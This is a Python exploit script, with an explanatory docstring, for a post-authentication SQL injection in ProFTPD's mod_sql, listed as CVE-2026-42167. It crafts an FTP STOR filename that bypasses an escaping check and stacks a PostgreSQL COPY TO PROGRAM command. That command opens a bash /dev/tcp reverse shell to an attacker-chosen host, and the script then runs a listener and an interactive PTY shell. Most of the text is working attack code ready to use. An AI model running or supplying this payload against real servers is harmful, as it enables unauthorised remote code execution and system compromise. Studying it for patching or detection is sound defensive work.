#!/usr/bin/env python3
"""
CVE-2026-42167 — ProFTPD mod_sql post-authentication SQL injection -> RCE

    postauth_stor_rce.py --host <ftp-host> --port 21 \
        --user <user> --password <pass> \
        --shell-host <your-ip> --shell-port 443

SUMMARY
-------
ProFTPD's mod_sql logs FTP activity through user-supplied SQL. Its escaping
helper is_escaped_text() treats any value that BEGINS and ENDS with a single
quote and contains no interior single quote as "already escaped", and passes
it into the query verbatim. A STOR filename shaped that way therefore breaks
out of the logging INSERT and stacks a second statement. With a PostgreSQL
backend whose role is a superuser, that statement is COPY ... TO PROGRAM,
which runs an arbitrary OS command.

    INSERT INTO xfer_audit VALUES('<basename>', '<user>', now())

    basename = ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$<cmd>$$; --'

    -> INSERT INTO xfer_audit VALUES('', null, null);      -- 3 cols, closed
              COPY (SELECT $$x$$) TO PROGRAM $$<cmd>$$;     -- stacked
              --', '<user>', now())                        -- commented out

Two constraints on the filename shape both queries around:
  * NO interior single quote  -> the injected SQL is dollar-quoted ($$...$$),
                                 never single-quoted.
  * NO forward slash '/'      -> FTP forbids it in a filename. The reverse
                                 shell needs /dev/tcp/<host>/<port>, so the
                                 slashes are produced at runtime by printf's
                                 octal escape \57 ('/').

THE BUG IN THE PUBLIC PoC (fixed here)
--------------------------------------
The widely-circulated PoC builds the path as one printf format string:

    printf "\57dev\57tcp\57<host>\57<port>"          # BROKEN

printf greedily consumes up to THREE octal digits after a backslash. "\57" is
only two, so if the very next character is itself an octal digit (0-7) it is
swallowed into the escape:

    \57 + '1'  ->  \571  ->  octal 571 = 0x179 -> 0x79 mod 256 = 'y'

So a host or port whose first character is 0-7 is silently corrupted:

    host=192.168.118.7 port=4444  ->  /dev/tcpy92.168.118.7/y444   (broken)

That covers essentially every private-range attacker IP and every common
listener port, which is why the bug is easy to miss (the PoC's defaults happen
to fall in the safe class) and painful to hit — the only visible symptom is a
reverse shell that never connects.

FIX (this script): keep the four literal slashes in the format string, where
each "\57" is followed by a non-octal character, and pass the attacker-
controlled host/port as printf ARGUMENTS instead of interpolating them into
the format string:

    printf "\57dev\57tcp\57%s\57%s" "<host>" "<port>"    # CORRECT

Now no user-controlled digit is ever adjacent to a "\57", so the corruption is
structurally impossible for any host/port and on any conforming printf.

CVE:      CVE-2026-42167
SEVERITY: Critical (post-auth RCE)
"""

import argparse
import ftplib
import io
import os
import select
import signal
import socket
import sys
import termios
import threading
import time
import tty


def build_payload_filename(shell_host: str, shell_port: int) -> str:
    """Return the STOR filename that stacks a reverse-shell COPY TO PROGRAM.

    The reverse-shell command carries the target host/port as printf arguments
    (the fix), so no octal-escape corruption is possible.
    """
    # /dev/tcp/<host>/<port> is assembled at runtime; the format string holds
    # only the slashes, the data is passed as %s arguments.
    shell_cmd = (
        f'S=$(printf "\\57dev\\57tcp\\57%s\\57%s" "{shell_host}" "{shell_port}");'
        f'bash -c "bash -i >& $S 0>&1"'
    )
    payload = (
        "', null, null); "
        f"COPY (SELECT $$x$$) TO PROGRAM $${shell_cmd}$$"
        "; --'"
    )

    # is_escaped_text() bypass + FTP filename rules — assert, don't hope.
    assert payload[0] == "'" and payload[-1] == "'", "must be single-quote wrapped"
    assert "'" not in payload[1:-1], "no interior single quote allowed"
    assert "/" not in payload, "no slash allowed in an FTP filename"
    return payload


def interactive_shell(sock: socket.socket) -> None:
    """Upgrade the raw connect-back to a PTY and bridge the local terminal.

    The connect-back is a plain `bash -i` with stdio wired to the socket: no
    controlling terminal, so no job control and no `su`/`sudo` password prompt.
    Replacing it with util-linux `script` forks bash inside a real PTY pair and
    bridges that PTY to the inherited socket; the local terminal goes raw and
    forwards keystrokes byte-for-byte.
    """
    rows, cols = 24, 80
    try:
        size = os.get_terminal_size()
        rows, cols = size.lines, size.columns
    except OSError:
        pass

    sock.sendall(
        b"export TERM=xterm-256color; exec script -qc bash /dev/null\n"
    )
    time.sleep(0.4)
    sock.sendall(f"stty rows {rows} cols {cols}; clear\n".encode())

    def on_winch(_sig, _frame):
        try:
            sz = os.get_terminal_size()
            sock.sendall(f"stty rows {sz.lines} cols {sz.columns}\n".encode())
        except (OSError, ValueError):
            pass

    old_winch = signal.signal(signal.SIGWINCH, on_winch)
    old_tty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        while True:
            r, _, _ = select.select([sock, sys.stdin], [], [])
            if sock in r:
                data = sock.recv(4096)
                if not data:
                    break
                os.write(sys.stdout.fileno(), data)
            if sys.stdin in r:
                data = os.read(sys.stdin.fileno(), 4096)
                if not data:
                    break
                sock.sendall(data)
    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_tty)
        signal.signal(signal.SIGWINCH, old_winch)


def main() -> int:
    p = argparse.ArgumentParser(
        description="CVE-2026-42167 ProFTPD mod_sql post-auth RCE (fixed PoC)"
    )
    p.add_argument("--host", required=True, help="FTP server host")
    p.add_argument("--port", type=int, default=21, help="FTP port (default 21)")
    p.add_argument("--user", required=True, help="FTP username")
    p.add_argument("--password", required=True, help="FTP password")
    p.add_argument(
        "--shell-host", required=True,
        help="Address the target connects back to (your listener)",
    )
    p.add_argument(
        "--shell-port", type=int, default=443,
        help="Listener port (default 443). Binding <1024 needs sudo. Note the "
             "apple target filters egress to 443/tcp and 53 only.",
    )
    p.add_argument(
        "--timeout", type=int, default=30,
        help="Seconds to wait for the connect-back (default 30)",
    )
    args = p.parse_args()

    print("=" * 70)
    print("CVE-2026-42167 : ProFTPD mod_sql post-auth SQLi -> RCE")
    print("=" * 70)

    # --- reachability + banner -------------------------------------------
    print(f"\n[*] Connecting to {args.host}:{args.port} ...")
    try:
        with socket.create_connection((args.host, args.port), timeout=8) as s:
            banner = s.recv(256).decode(errors="replace").strip()
    except OSError as e:
        print(f"[-] Connection failed: {e}")
        return 1
    if "220" not in banner:
        print(f"[-] Unexpected banner: {banner!r}")
        return 1
    print(f"[*] Banner: {banner}")

    payload_filename = build_payload_filename(args.shell_host, args.shell_port)
    print(f"[*] Reverse shell : {args.shell_host}:{args.shell_port}")
    print(f"[*] Payload STOR  : {len(payload_filename)} bytes (no '/', no interior quote)")

    # --- listener ---------------------------------------------------------
    # Prefer a dual-stack v6 socket so v4-mapped connect-backs also land; fall
    # back to plain v4 if IPV6_V6ONLY cannot be cleared.
    try:
        srv = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
        srv.bind(("::", args.shell_port))
    except OSError:
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind(("0.0.0.0", args.shell_port))
    srv.listen(1)
    srv.settimeout(args.timeout)
    print(f"[+] Listening on 0.0.0.0:{args.shell_port}")

    # --- fire the injection ----------------------------------------------
    # STOR must SUCCEED for `SQLLog STOR` to fire, so the upload needs a working
    # passive data channel. The command runs during the STOR, so send it from a
    # background thread and wait for the connect-back on the main thread.
    def fire():
        time.sleep(0.5)
        try:
            ftp = ftplib.FTP()
            ftp.connect(args.host, args.port, timeout=15)
            ftp.login(args.user, args.password)
            ftp.storbinary(f"STOR {payload_filename}", io.BytesIO(b"x"))
        except Exception:
            # COPY TO PROGRAM blocks the STOR for the life of the shell, so the
            # control connection often errors out here — that is expected and
            # not a failure of the exploit.
            pass

    threading.Thread(target=fire, daemon=True).start()
    print("[*] Injection sent, waiting for reverse shell ...")

    try:
        conn, addr = srv.accept()
    except socket.timeout:
        print(f"\n[-] No connection after {args.timeout}s.")
        print("    Check: creds valid? target can reach "
              f"{args.shell_host}:{args.shell_port} outbound? "
              "listener port open locally?")
        srv.close()
        return 1
    srv.close()

    print(f"[+] Connection from {addr[0]}:{addr[1]}")
    print("=" * 70)
    print("[+] REMOTE CODE EXECUTION CONFIRMED — interactive shell follows")
    print("=" * 70 + "\n")
    try:
        interactive_shell(conn)
    except KeyboardInterrupt:
        pass
    finally:
        conn.close()
        print("\n[*] Shell closed.")
    return 0


if __name__ == "__main__":
    sys.exit(main())